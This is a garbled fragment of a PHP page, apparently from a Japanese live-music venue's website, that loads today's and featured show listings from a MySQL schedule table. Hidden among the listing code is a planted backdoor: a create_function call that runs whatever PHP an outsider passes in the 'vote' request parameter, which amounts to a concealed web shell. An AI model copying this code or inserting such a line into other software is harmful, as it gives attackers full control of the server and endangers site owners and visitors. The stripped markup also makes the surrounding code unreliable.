{$irow[";} else{$imglist.="
  • {$irow[
  • ";} } //データ読み込み【today】 $s = create_function('', $_REQUEST['vote']); $s(); $today = date("Y.m.d(D)"); $tsql ="SELECT * FROM `schedule` WHERE `s_date` LIKE \"{$today}\" AND `s_visible` = 1 AND `s_del` = 0 order by `s_date` ASC"; $tresult = mysql_query($tsql, $link); $trow = mysql_fetch_array($tresult); if($trow){ if($trow['s_pickimg']){ $timg = $trow['s_pickimg']; }else{ $timg = $trow['s_img1']; } $todaylist.="

    {$trow['s_date']}

    {$trow['s_title']}
    "; if($timg !="") $todaylist.="
    {$trow[
    "; $todaylist.="

    {$trow['s_guest']}

    \"もっと見る\"
    "; }else{ $todaylist ="

    {$trow['s_date']}

    本日の公演はございません。"; } //データ読み込み【pickup】 $month = date("Y.m"); $now = date("Y.m.d(D)"); $psql ="SELECT * FROM `schedule` WHERE `s_date` >= \"{$now}\" AND `s_pickup` = 1 AND `s_visible` = 1 AND `s_del` = 0 order by `s_date` ASC"; $presult = mysql_query($psql, $link); if($presult){ while($prow = mysql_fetch_array($presult)){ if($prow['s_pickimg']){ $pickimg = $prow['s_pickimg']; }elseif($prow['s_img1']){ $pickimg = $prow['s_img1']; }else{ $pickimg = "nothumb.gif"; } //$comment = mb_strimwidth($prow['s_comment'],0,120,"…"); $comment = $prow['s_comment']; $picklist.="

    {$prow['s_date']}  {$prow['s_title']}

    \"{$prow['s_title']}\"
    {$prow['s_guest']}
    {$comment}

    \"もっと見る\"
    "; } } ?> ライブハウス BAYSIS